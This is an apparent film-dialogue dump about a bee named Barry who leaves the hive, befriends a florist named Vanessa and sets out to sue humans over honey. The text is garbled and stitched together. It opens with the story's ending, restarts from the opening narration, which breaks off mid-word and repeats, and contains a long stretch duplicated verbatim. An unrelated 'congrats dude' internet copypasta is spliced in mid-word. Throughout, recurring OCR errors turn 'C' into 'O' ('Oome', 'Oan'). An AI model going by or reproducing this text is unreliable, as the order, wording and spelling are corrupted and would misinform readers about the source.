Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because beAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual.You wrote that yourself? wow congrats dude, really, that's very cool. i just told everyone in my family about it, everybody thinks that's very impressive and asked me to congratulate you. they want to speak to you in person, if possible, to give you their regards. they also said they will tell our distant relatives in christmas supper and in NYE they will ignite fireworks that spell your name. i also told about this enormous deed to closer relatives, they had the same reaction. they asked for your address so they can send congratulatory cards and messages. my friends didn't believe me when i told them i knew the author of this gigantic feat, really, they were dumbstruck, they said they will make your name echo through years and years to come. when my neighbour found out about what you did, he was completely dumbstruck too, he wanted to know who you are and he asked (if you have the time, of course) if you could stop by to receive gifts, congratulations and handshakes. with the spreading of the news, a powerful businessman of the area decided to hire you as the CEO of his company because of this tremendous feat and at the same time an important international shareholder wants to sponsor you to give speeches and teach everybody how to do as you did so the world becomes a better place. you have become famous not only here but also everywhere, everybody knows who you are. the news spread really fast and mayors of all cities are setting up porticos, ballons, colossal boom speakers, anything that can make your name stand out more and see which city can congratulate you the hardest for this magnificent feaes don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt 